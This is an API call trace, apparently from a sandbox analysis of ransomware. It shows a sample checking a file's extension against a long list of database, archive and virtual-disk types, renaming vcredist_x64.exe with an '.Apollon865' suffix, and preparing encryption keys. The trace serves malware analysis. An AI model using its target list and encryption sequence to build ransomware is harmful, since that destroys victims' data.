	[0064.701] lstrcmpiW (lpString1="vcredist_x64.exe", lpString2=".sys") returned 1
	[0064.701] lstrlenW (lpString="vcredist_x64.exe") returned 16
	[0064.701] lstrlenW (lpString="bak") returned 3
	[0064.701] lstrcmpiW (lpString1="exe", lpString2="bak") returned 1
	[0064.701] lstrlenW (lpString="ba_") returned 3
	[0064.701] lstrcmpiW (lpString1="exe", lpString2="ba_") returned 1
	[0064.701] lstrlenW (lpString="dbb") returned 3
	[0064.701] lstrcmpiW (lpString1="exe", lpString2="dbb") returned 1
	[0064.701] lstrlenW (lpString="vmdk") returned 4
	[0064.701] lstrcmpiW (lpString1=".exe", lpString2="vmdk") returned -1
	[0064.701] lstrlenW (lpString="rar") returned 3
	[0064.701] lstrcmpiW (lpString1="exe", lpString2="rar") returned -1
	[0064.701] lstrlenW (lpString="zip") returned 3
	[0064.701] lstrcmpiW (lpString1="exe", lpString2="zip") returned -1
	[0064.701] lstrlenW (lpString="tgz") returned 3
	[0064.701] lstrcmpiW (lpString1="exe", lpString2="tgz") returned -1
	[0064.702] lstrlenW (lpString="vbox") returned 4
	[0064.702] lstrcmpiW (lpString1=".exe", lpString2="vbox") returned -1
	[0064.702] lstrlenW (lpString="vdi") returned 3
	[0064.702] lstrcmpiW (lpString1="exe", lpString2="vdi") returned -1
	[0064.702] lstrlenW (lpString="vhd") returned 3
	[0064.702] lstrcmpiW (lpString1="exe", lpString2="vhd") returned -1
	[0064.702] lstrlenW (lpString="vhdx") returned 4
	[0064.702] lstrcmpiW (lpString1=".exe", lpString2="vhdx") returned -1
	[0064.702] lstrlenW (lpString="avhd") returned 4
	[0064.702] lstrcmpiW (lpString1=".exe", lpString2="avhd") returned -1
	[0064.702] lstrlenW (lpString="db") returned 2
	[0064.702] lstrcmpiW (lpString1="xe", lpString2="db") returned 1
	[0064.702] lstrlenW (lpString="db2") returned 3
	[0064.702] lstrcmpiW (lpString1="exe", lpString2="db2") returned 1
	[0064.702] lstrlenW (lpString="db3") returned 3
	[0064.702] lstrcmpiW (lpString1="exe", lpString2="db3") returned 1
	[0064.702] lstrlenW (lpString="dbf") returned 3
	[0064.702] lstrcmpiW (lpString1="exe", lpString2="dbf") returned 1
	[0064.702] lstrlenW (lpString="mdf") returned 3
	[0064.702] lstrcmpiW (lpString1="exe", lpString2="mdf") returned -1
	[0064.702] lstrlenW (lpString="mdb") returned 3
	[0064.702] lstrcmpiW (lpString1="exe", lpString2="mdb") returned -1
	[0064.702] lstrlenW (lpString="sql") returned 3
	[0064.702] lstrcmpiW (lpString1="exe", lpString2="sql") returned -1
	[0064.702] lstrlenW (lpString="sqlite") returned 6
	[0064.702] lstrcmpiW (lpString1="64.exe", lpString2="sqlite") returned -1
	[0064.702] lstrlenW (lpString="sqlite3") returned 7
	[0064.702] lstrcmpiW (lpString1="x64.exe", lpString2="sqlite3") returned 1
	[0064.702] lstrlenW (lpString="sqlitedb") returned 8
	[0064.702] lstrcmpiW (lpString1="_x64.exe", lpString2="sqlitedb") returned -1
	[0064.702] lstrlenW (lpString="xml") returned 3
	[0064.702] lstrcmpiW (lpString1="exe", lpString2="xml") returned -1
	[0064.702] lstrlenW (lpString="$er") returned 3
	[0064.702] lstrcmpiW (lpString1="exe", lpString2="$er") returned 1
	[0064.702] lstrlenW (lpString="4dd") returned 3
	[0064.703] lstrcmpiW (lpString1="exe", lpString2="4dd") returned 1
	[0064.703] lstrlenW (lpString="4dl") returned 3
	[0064.703] lstrcmpiW (lpString1="exe", lpString2="4dl") returned 1
	[0064.703] lstrlenW (lpString="^^^") returned 3
	[0064.703] lstrcmpiW (lpString1="exe", lpString2="^^^") returned 1
	[0064.703] lstrlenW (lpString="abs") returned 3
	[0064.703] lstrcmpiW (lpString1="exe", lpString2="abs") returned 1
	[0064.703] lstrlenW (lpString="abx") returned 3
	[0064.703] lstrcmpiW (lpString1="exe", lpString2="abx") returned 1
	[0064.703] lstrlenW (lpString="accdb") returned 5
	[0064.703] lstrcmpiW (lpString1="4.exe", lpString2="accdb") returned -1
	[0064.703] lstrlenW (lpString="accdc") returned 5
	[0064.703] lstrcmpiW (lpString1="4.exe", lpString2="accdc") returned -1
	[0064.703] lstrlenW (lpString="accde") returned 5
	[0064.703] lstrcmpiW (lpString1="4.exe", lpString2="accde") returned -1
	[0064.703] lstrlenW (lpString="accdr") returned 5
	[0064.703] lstrcmpiW (lpString1="4.exe", lpString2="accdr") returned -1
	[0064.703] lstrlenW (lpString="accdt") returned 5
	[0064.703] lstrcmpiW (lpString1="4.exe", lpString2="accdt") returned -1
	[0064.703] lstrlenW (lpString="accdw") returned 5
	[0064.703] lstrcmpiW (lpString1="4.exe", lpString2="accdw") returned -1
	[0064.703] lstrlenW (lpString="accft") returned 5
	[0064.703] lstrcmpiW (lpString1="4.exe", lpString2="accft") returned -1
	[0064.703] lstrlenW (lpString="adb") returned 3
	[0064.703] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1
	[0064.703] lstrlenW (lpString="adb") returned 3
	[0064.703] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1
	[0064.703] lstrlenW (lpString="ade") returned 3
	[0064.703] lstrcmpiW (lpString1="exe", lpString2="ade") returned 1
	[0064.703] lstrlenW (lpString="adf") returned 3
	[0064.703] lstrcmpiW (lpString1="exe", lpString2="adf") returned 1
	[0064.703] lstrlenW (lpString="adn") returned 3
	[0064.703] lstrcmpiW (lpString1="exe", lpString2="adn") returned 1
	[0064.703] lstrlenW (lpString="adp") returned 3
	[0064.703] lstrcmpiW (lpString1="exe", lpString2="adp") returned 1
	[0064.703] lstrlenW (lpString="alf") returned 3
	[0064.703] lstrcmpiW (lpString1="exe", lpString2="alf") returned 1
	[0064.704] lstrlenW (lpString="ask") returned 3
	[0064.704] lstrcmpiW (lpString1="exe", lpString2="ask") returned 1
	[0064.704] lstrlenW (lpString="btr") returned 3
	[0064.704] lstrcmpiW (lpString1="exe", lpString2="btr") returned 1
	[0064.704] lstrlenW (lpString="cat") returned 3
	[0064.704] lstrcmpiW (lpString1="exe", lpString2="cat") returned 1
	[0064.704] lstrlenW (lpString="cdb") returned 3
	[0064.704] lstrcmpiW (lpString1="exe", lpString2="cdb") returned 1
	[0064.704] lstrlenW (lpString="ckp") returned 3
	[0064.704] lstrcmpiW (lpString1="exe", lpString2="ckp") returned 1
	[0064.704] lstrlenW (lpString="cma") returned 3
	[0064.704] lstrcmpiW (lpString1="exe", lpString2="cma") returned 1
	[0064.704] lstrlenW (lpString="cpd") returned 3
	[0064.704] lstrcmpiW (lpString1="exe", lpString2="cpd") returned 1
	[0064.704] lstrlenW (lpString="dacpac") returned 6
	[0064.704] lstrcmpiW (lpString1="64.exe", lpString2="dacpac") returned -1
	[0064.704] lstrlenW (lpString="dad") returned 3
	[0064.704] lstrcmpiW (lpString1="exe", lpString2="dad") returned 1
	[0064.704] lstrlenW (lpString="dadiagrams") returned 10
	[0064.704] lstrcmpiW (lpString1="st_x64.exe", lpString2="dadiagrams") returned 1
	[0064.704] lstrlenW (lpString="daschema") returned 8
	[0064.704] lstrcmpiW (lpString1="_x64.exe", lpString2="daschema") returned -1
	[0064.704] lstrlenW (lpString="db-journal") returned 10
	[0064.704] lstrcmpiW (lpString1="st_x64.exe", lpString2="db-journal") returned 1
	[0064.704] lstrlenW (lpString="db-shm") returned 6
	[0064.704] lstrcmpiW (lpString1="64.exe", lpString2="db-shm") returned -1
	[0064.704] lstrlenW (lpString="db-wal") returned 6
	[0064.704] lstrcmpiW (lpString1="64.exe", lpString2="db-wal") returned -1
	[0064.704] lstrlenW (lpString="dbc") returned 3
	[0064.704] lstrcmpiW (lpString1="exe", lpString2="dbc") returned 1
	[0064.704] lstrlenW (lpString="dbs") returned 3
	[0064.704] lstrcmpiW (lpString1="exe", lpString2="dbs") returned 1
	[0064.704] lstrlenW (lpString="dbt") returned 3
	[0064.704] lstrcmpiW (lpString1="exe", lpString2="dbt") returned 1
	[0064.704] lstrlenW (lpString="dbv") returned 3
	[0064.704] lstrcmpiW (lpString1="exe", lpString2="dbv") returned 1
	[0064.704] lstrlenW (lpString="dbx") returned 3
	[0064.705] lstrcmpiW (lpString1="exe", lpString2="dbx") returned 1
	[0064.705] lstrlenW (lpString="dcb") returned 3
	[0064.705] lstrcmpiW (lpString1="exe", lpString2="dcb") returned 1
	[0064.705] lstrlenW (lpString="dct") returned 3
	[0064.705] lstrcmpiW (lpString1="exe", lpString2="dct") returned 1
	[0064.705] lstrlenW (lpString="dcx") returned 3
	[0064.705] lstrcmpiW (lpString1="exe", lpString2="dcx") returned 1
	[0064.705] lstrlenW (lpString="ddl") returned 3
	[0064.705] lstrcmpiW (lpString1="exe", lpString2="ddl") returned 1
	[0064.705] lstrlenW (lpString="dlis") returned 4
	[0064.705] lstrcmpiW (lpString1=".exe", lpString2="dlis") returned -1
	[0064.705] lstrlenW (lpString="dp1") returned 3
	[0064.705] lstrcmpiW (lpString1="exe", lpString2="dp1") returned 1
	[0064.705] lstrlenW (lpString="dqy") returned 3
	[0064.705] lstrcmpiW (lpString1="exe", lpString2="dqy") returned 1
	[0064.705] lstrlenW (lpString="dsk") returned 3
	[0064.705] lstrcmpiW (lpString1="exe", lpString2="dsk") returned 1
	[0064.705] lstrlenW (lpString="dsn") returned 3
	[0064.705] lstrcmpiW (lpString1="exe", lpString2="dsn") returned 1
	[0064.705] lstrlenW (lpString="dtsx") returned 4
	[0064.705] lstrcmpiW (lpString1=".exe", lpString2="dtsx") returned -1
	[0064.705] lstrlenW (lpString="dxl") returned 3
	[0064.705] lstrcmpiW (lpString1="exe", lpString2="dxl") returned 1
	[0064.705] lstrlenW (lpString="eco") returned 3
	[0064.705] lstrcmpiW (lpString1="exe", lpString2="eco") returned 1
	[0064.705] lstrlenW (lpString="ecx") returned 3
	[0064.705] lstrcmpiW (lpString1="exe", lpString2="ecx") returned 1
	[0064.705] lstrlenW (lpString="edb") returned 3
	[0064.705] lstrcmpiW (lpString1="exe", lpString2="edb") returned 1
	[0064.705] lstrlenW (lpString="epim") returned 4
	[0064.705] lstrcmpiW (lpString1=".exe", lpString2="epim") returned -1
	[0064.705] lstrlenW (lpString="fcd") returned 3
	[0064.705] lstrcmpiW (lpString1="exe", lpString2="fcd") returned -1
	[0064.705] lstrlenW (lpString="fdb") returned 3
	[0064.705] lstrcmpiW (lpString1="exe", lpString2="fdb") returned -1
	[0064.706] lstrlenW (lpString="fic") returned 3
	[0064.706] lstrcmpiW (lpString1="exe", lpString2="fic") returned -1
	[0064.706] lstrlenW (lpString="flexolibrary") returned 12
	[0064.706] lstrcmpiW (lpString1="dist_x64.exe", lpString2="flexolibrary") returned -1
	[0064.706] lstrlenW (lpString="fm5") returned 3
	[0064.706] lstrcmpiW (lpString1="exe", lpString2="fm5") returned -1
	[0064.706] lstrlenW (lpString="fmp") returned 3
	[0064.706] lstrcmpiW (lpString1="exe", lpString2="fmp") returned -1
	[0064.706] lstrlenW (lpString="fmp12") returned 5
	[0064.706] lstrcmpiW (lpString1="4.exe", lpString2="fmp12") returned -1
	[0064.706] lstrlenW (lpString="fmpsl") returned 5
	[0064.706] lstrcmpiW (lpString1="4.exe", lpString2="fmpsl") returned -1
	[0064.706] lstrlenW (lpString="fol") returned 3
	[0064.706] lstrcmpiW (lpString1="exe", lpString2="fol") returned -1
	[0064.706] lstrlenW (lpString="fp3") returned 3
	[0064.706] lstrcmpiW (lpString1="exe", lpString2="fp3") returned -1
	[0064.706] lstrlenW (lpString="fp4") returned 3
	[0064.706] lstrcmpiW (lpString1="exe", lpString2="fp4") returned -1
	[0064.706] lstrlenW (lpString="fp5") returned 3
	[0064.706] lstrcmpiW (lpString1="exe", lpString2="fp5") returned -1
	[0064.706] lstrlenW (lpString="fp7") returned 3
	[0064.706] lstrcmpiW (lpString1="exe", lpString2="fp7") returned -1
	[0064.706] lstrlenW (lpString="fpt") returned 3
	[0064.706] lstrcmpiW (lpString1="exe", lpString2="fpt") returned -1
	[0064.706] lstrlenW (lpString="frm") returned 3
	[0064.706] lstrcmpiW (lpString1="exe", lpString2="frm") returned -1
	[0064.706] lstrlenW (lpString="gdb") returned 3
	[0064.706] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1
	[0064.706] lstrlenW (lpString="gdb") returned 3
	[0064.706] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1
	[0064.706] lstrlenW (lpString="grdb") returned 4
	[0064.706] lstrcmpiW (lpString1=".exe", lpString2="grdb") returned -1
	[0064.706] lstrlenW (lpString="gwi") returned 3
	[0064.706] lstrcmpiW (lpString1="exe", lpString2="gwi") returned -1
	[0064.706] lstrlenW (lpString="hdb") returned 3
	[0064.706] lstrcmpiW (lpString1="exe", lpString2="hdb") returned -1
	[0064.707] lstrlenW (lpString="his") returned 3
	[0064.707] lstrcmpiW (lpString1="exe", lpString2="his") returned -1
	[0064.707] lstrlenW (lpString="ib") returned 2
	[0064.707] lstrcmpiW (lpString1="xe", lpString2="ib") returned 1
	[0064.707] lstrlenW (lpString="idb") returned 3
	[0064.707] lstrcmpiW (lpString1="exe", lpString2="idb") returned -1
	[0064.707] lstrlenW (lpString="ihx") returned 3
	[0064.707] lstrcmpiW (lpString1="exe", lpString2="ihx") returned -1
	[0064.707] lstrlenW (lpString="itdb") returned 4
	[0064.707] lstrcmpiW (lpString1=".exe", lpString2="itdb") returned -1
	[0064.707] lstrlenW (lpString="itw") returned 3
	[0064.707] lstrcmpiW (lpString1="exe", lpString2="itw") returned -1
	[0064.707] lstrlenW (lpString="jet") returned 3
	[0064.707] lstrcmpiW (lpString1="exe", lpString2="jet") returned -1
	[0064.707] lstrlenW (lpString="jtx") returned 3
	[0064.707] lstrcmpiW (lpString1="exe", lpString2="jtx") returned -1
	[0064.707] lstrlenW (lpString="kdb") returned 3
	[0064.707] lstrcmpiW (lpString1="exe", lpString2="kdb") returned -1
	[0064.707] lstrlenW (lpString="kexi") returned 4
	[0064.707] lstrcmpiW (lpString1=".exe", lpString2="kexi") returned -1
	[0064.707] lstrlenW (lpString="kexic") returned 5
	[0064.707] lstrcmpiW (lpString1="4.exe", lpString2="kexic") returned -1
	[0064.707] lstrlenW (lpString="kexis") returned 5
	[0064.707] lstrcmpiW (lpString1="4.exe", lpString2="kexis") returned -1
	[0064.707] lstrlenW (lpString="lgc") returned 3
	[0064.707] lstrcmpiW (lpString1="exe", lpString2="lgc") returned -1
	[0064.707] lstrlenW (lpString="lwx") returned 3
	[0064.707] lstrcmpiW (lpString1="exe", lpString2="lwx") returned -1
	[0064.707] lstrlenW (lpString="maf") returned 3
	[0064.707] lstrcmpiW (lpString1="exe", lpString2="maf") returned -1
	[0064.707] lstrlenW (lpString="maq") returned 3
	[0064.707] lstrcmpiW (lpString1="exe", lpString2="maq") returned -1
	[0064.707] lstrlenW (lpString="mar") returned 3
	[0064.707] lstrcmpiW (lpString1="exe", lpString2="mar") returned -1
	[0064.707] lstrlenW (lpString="marshal") returned 7
	[0064.707] lstrcmpiW (lpString1="x64.exe", lpString2="marshal") returned 1
	[0064.708] lstrlenW (lpString="mas") returned 3
	[0064.708] lstrcmpiW (lpString1="exe", lpString2="mas") returned -1
	[0064.708] lstrlenW (lpString="mav") returned 3
	[0064.708] lstrcmpiW (lpString1="exe", lpString2="mav") returned -1
	[0064.708] lstrlenW (lpString="maw") returned 3
	[0064.708] lstrcmpiW (lpString1="exe", lpString2="maw") returned -1
	[0064.708] lstrlenW (lpString="mdbhtml") returned 7
	[0064.708] lstrcmpiW (lpString1="x64.exe", lpString2="mdbhtml") returned 1
	[0064.708] lstrlenW (lpString="mdn") returned 3
	[0064.708] lstrcmpiW (lpString1="exe", lpString2="mdn") returned -1
	[0064.708] lstrlenW (lpString="mdt") returned 3
	[0064.708] lstrcmpiW (lpString1="exe", lpString2="mdt") returned -1
	[0064.708] lstrlenW (lpString="mfd") returned 3
	[0064.708] lstrcmpiW (lpString1="exe", lpString2="mfd") returned -1
	[0064.708] lstrlenW (lpString="mpd") returned 3
	[0064.708] lstrcmpiW (lpString1="exe", lpString2="mpd") returned -1
	[0064.708] lstrlenW (lpString="mrg") returned 3
	[0064.708] lstrcmpiW (lpString1="exe", lpString2="mrg") returned -1
	[0064.708] lstrlenW (lpString="mud") returned 3
	[0064.708] lstrcmpiW (lpString1="exe", lpString2="mud") returned -1
	[0064.708] lstrlenW (lpString="mwb") returned 3
	[0064.708] lstrcmpiW (lpString1="exe", lpString2="mwb") returned -1
	[0064.708] lstrlenW (lpString="myd") returned 3
	[0064.708] lstrcmpiW (lpString1="exe", lpString2="myd") returned -1
	[0064.708] lstrlenW (lpString="ndf") returned 3
	[0064.708] lstrcmpiW (lpString1="exe", lpString2="ndf") returned -1
	[0064.708] lstrlenW (lpString="nnt") returned 3
	[0064.708] lstrcmpiW (lpString1="exe", lpString2="nnt") returned -1
	[0064.708] lstrlenW (lpString="nrmlib") returned 6
	[0064.708] lstrcmpiW (lpString1="64.exe", lpString2="nrmlib") returned -1
	[0064.708] lstrlenW (lpString="ns2") returned 3
	[0064.708] lstrcmpiW (lpString1="exe", lpString2="ns2") returned -1
	[0064.708] lstrlenW (lpString="ns3") returned 3
	[0064.708] lstrcmpiW (lpString1="exe", lpString2="ns3") returned -1
	[0064.708] lstrlenW (lpString="ns4") returned 3
	[0064.708] lstrcmpiW (lpString1="exe", lpString2="ns4") returned -1
	[0064.709] lstrlenW (lpString="nsf") returned 3
	[0064.709] lstrcmpiW (lpString1="exe", lpString2="nsf") returned -1
	[0064.709] lstrlenW (lpString="nv") returned 2
	[0064.709] lstrcmpiW (lpString1="xe", lpString2="nv") returned 1
	[0064.709] lstrlenW (lpString="nv2") returned 3
	[0064.709] lstrcmpiW (lpString1="exe", lpString2="nv2") returned -1
	[0064.709] lstrlenW (lpString="nwdb") returned 4
	[0064.709] lstrcmpiW (lpString1=".exe", lpString2="nwdb") returned -1
	[0064.709] lstrlenW (lpString="nyf") returned 3
	[0064.709] lstrcmpiW (lpString1="exe", lpString2="nyf") returned -1
	[0064.709] lstrlenW (lpString="odb") returned 3
	[0064.709] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1
	[0064.709] lstrlenW (lpString="odb") returned 3
	[0064.709] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1
	[0064.709] lstrlenW (lpString="oqy") returned 3
	[0064.709] lstrcmpiW (lpString1="exe", lpString2="oqy") returned -1
	[0064.709] lstrlenW (lpString="ora") returned 3
	[0064.709] lstrcmpiW (lpString1="exe", lpString2="ora") returned -1
	[0064.709] lstrlenW (lpString="orx") returned 3
	[0064.709] lstrcmpiW (lpString1="exe", lpString2="orx") returned -1
	[0064.709] lstrlenW (lpString="owc") returned 3
	[0064.709] lstrcmpiW (lpString1="exe", lpString2="owc") returned -1
	[0064.709] lstrlenW (lpString="p96") returned 3
	[0064.709] lstrcmpiW (lpString1="exe", lpString2="p96") returned -1
	[0064.709] lstrlenW (lpString="p97") returned 3
	[0064.709] lstrcmpiW (lpString1="exe", lpString2="p97") returned -1
	[0064.709] lstrlenW (lpString="pan") returned 3
	[0064.709] lstrcmpiW (lpString1="exe", lpString2="pan") returned -1
	[0064.709] lstrlenW (lpString="pdb") returned 3
	[0064.709] lstrcmpiW (lpString1="exe", lpString2="pdb") returned -1
	[0064.709] lstrlenW (lpString="pdm") returned 3
	[0064.709] lstrcmpiW (lpString1="exe", lpString2="pdm") returned -1
	[0064.709] lstrlenW (lpString="pnz") returned 3
	[0064.709] lstrcmpiW (lpString1="exe", lpString2="pnz") returned -1
	[0064.710] lstrlenW (lpString="qry") returned 3
	[0064.710] lstrcmpiW (lpString1="exe", lpString2="qry") returned -1
	[0064.710] lstrlenW (lpString="qvd") returned 3
	[0064.710] lstrcmpiW (lpString1="exe", lpString2="qvd") returned -1
	[0064.710] lstrlenW (lpString="rbf") returned 3
	[0064.710] lstrcmpiW (lpString1="exe", lpString2="rbf") returned -1
	[0064.710] lstrlenW (lpString="rctd") returned 4
	[0064.710] lstrcmpiW (lpString1=".exe", lpString2="rctd") returned -1
	[0064.710] lstrlenW (lpString="rod") returned 3
	[0064.710] lstrcmpiW (lpString1="exe", lpString2="rod") returned -1
	[0064.710] lstrlenW (lpString="rodx") returned 4
	[0064.710] lstrcmpiW (lpString1=".exe", lpString2="rodx") returned -1
	[0064.710] lstrlenW (lpString="rpd") returned 3
	[0064.710] lstrcmpiW (lpString1="exe", lpString2="rpd") returned -1
	[0064.710] lstrlenW (lpString="rsd") returned 3
	[0064.710] lstrcmpiW (lpString1="exe", lpString2="rsd") returned -1
	[0064.710] lstrlenW (lpString="sas7bdat") returned 8
	[0064.710] lstrcmpiW (lpString1="_x64.exe", lpString2="sas7bdat") returned -1
	[0064.710] lstrlenW (lpString="sbf") returned 3
	[0064.710] lstrcmpiW (lpString1="exe", lpString2="sbf") returned -1
	[0064.710] lstrlenW (lpString="scx") returned 3
	[0064.710] lstrcmpiW (lpString1="exe", lpString2="scx") returned -1
	[0064.710] lstrlenW (lpString="sdb") returned 3
	[0064.710] lstrcmpiW (lpString1="exe", lpString2="sdb") returned -1
	[0064.710] lstrlenW (lpString="sdc") returned 3
	[0064.710] lstrcmpiW (lpString1="exe", lpString2="sdc") returned -1
	[0064.710] lstrlenW (lpString="sdf") returned 3
	[0064.710] lstrcmpiW (lpString1="exe", lpString2="sdf") returned -1
	[0064.710] lstrlenW (lpString="sis") returned 3
	[0064.710] lstrcmpiW (lpString1="exe", lpString2="sis") returned -1
	[0064.710] lstrlenW (lpString="spq") returned 3
	[0064.710] lstrcmpiW (lpString1="exe", lpString2="spq") returned -1
	[0064.710] lstrlenW (lpString="te") returned 2
	[0064.710] lstrcmpiW (lpString1="xe", lpString2="te") returned 1
	[0064.710] lstrlenW (lpString="teacher") returned 7
	[0064.711] lstrcmpiW (lpString1="x64.exe", lpString2="teacher") returned 1
	[0064.711] lstrlenW (lpString="tmd") returned 3
	[0064.711] lstrcmpiW (lpString1="exe", lpString2="tmd") returned -1
	[0064.711] lstrlenW (lpString="tps") returned 3
	[0064.711] lstrcmpiW (lpString1="exe", lpString2="tps") returned -1
	[0064.711] lstrlenW (lpString="trc") returned 3
	[0064.711] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1
	[0064.711] lstrlenW (lpString="trc") returned 3
	[0064.711] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1
	[0064.711] lstrlenW (lpString="trm") returned 3
	[0064.711] lstrcmpiW (lpString1="exe", lpString2="trm") returned -1
	[0064.711] lstrlenW (lpString="udb") returned 3
	[0064.711] lstrcmpiW (lpString1="exe", lpString2="udb") returned -1
	[0064.711] lstrlenW (lpString="udl") returned 3
	[0064.711] lstrcmpiW (lpString1="exe", lpString2="udl") returned -1
	[0064.711] lstrlenW (lpString="usr") returned 3
	[0064.711] lstrcmpiW (lpString1="exe", lpString2="usr") returned -1
	[0064.711] lstrlenW (lpString="v12") returned 3
	[0064.711] lstrcmpiW (lpString1="exe", lpString2="v12") returned -1
	[0064.711] lstrlenW (lpString="vis") returned 3
	[0064.711] lstrcmpiW (lpString1="exe", lpString2="vis") returned -1
	[0064.711] lstrlenW (lpString="vpd") returned 3
	[0064.711] lstrcmpiW (lpString1="exe", lpString2="vpd") returned -1
	[0064.711] lstrlenW (lpString="vvv") returned 3
	[0064.711] lstrcmpiW (lpString1="exe", lpString2="vvv") returned -1
	[0064.711] lstrlenW (lpString="wdb") returned 3
	[0064.711] lstrcmpiW (lpString1="exe", lpString2="wdb") returned -1
	[0064.711] lstrlenW (lpString="wmdb") returned 4
	[0064.711] lstrcmpiW (lpString1=".exe", lpString2="wmdb") returned -1
	[0064.711] lstrlenW (lpString="wrk") returned 3
	[0064.711] lstrcmpiW (lpString1="exe", lpString2="wrk") returned -1
	[0064.711] lstrlenW (lpString="xdb") returned 3
	[0064.711] lstrcmpiW (lpString1="exe", lpString2="xdb") returned -1
	[0064.711] lstrlenW (lpString="xld") returned 3
	[0064.711] lstrcmpiW (lpString1="exe", lpString2="xld") returned -1
	[0064.711] lstrlenW (lpString="xmlff") returned 5
	[0064.712] lstrcmpiW (lpString1="4.exe", lpString2="xmlff") returned -1
	[0064.712] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe.Apollon865") returned 99
	[0064.712] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe" (normalized: "c:\\users\\all users\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe.Apollon865" (normalized: "c:\\users\\all users\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe.apollon865"), dwFlags=0x1) returned 1
	[0064.712] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe.Apollon865" (normalized: "c:\\users\\all users\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x154
	[0064.713] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=455576) returned 1
	[0064.713] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3270020
	[0064.713] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0064.713] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0064.713] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0064.714] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0064.714] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0064.714] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6f6a0, lpName=0x0) returned 0x150
	[0064.715] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6f6a0) returned 0x210000
	[0064.737] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0064.737] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0064.737] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0064.737] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0064.738] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0064.738] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0064.738] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0064.738] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0064.738] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0064.738] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0064.738] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0064.738] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0064.738] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0064.738] UnmapViewOfFile (lpBaseAddress=0x210000) returned 1
	[0064.742] CloseHandle (hObject=0x150) returned 1
	[0064.742] CloseHandle (hObject=0x154) returned 1
	[0064.742] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0064.742] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0064.742] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3270020 | out: hHeap=0x580000) returned 1
	[0064.744] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaaff840, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfaaff840, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xf0a0a700, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x6f398, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vcredist_x64.exe", cAlternateFileName="VCREDI~1.EXE")) returned 0
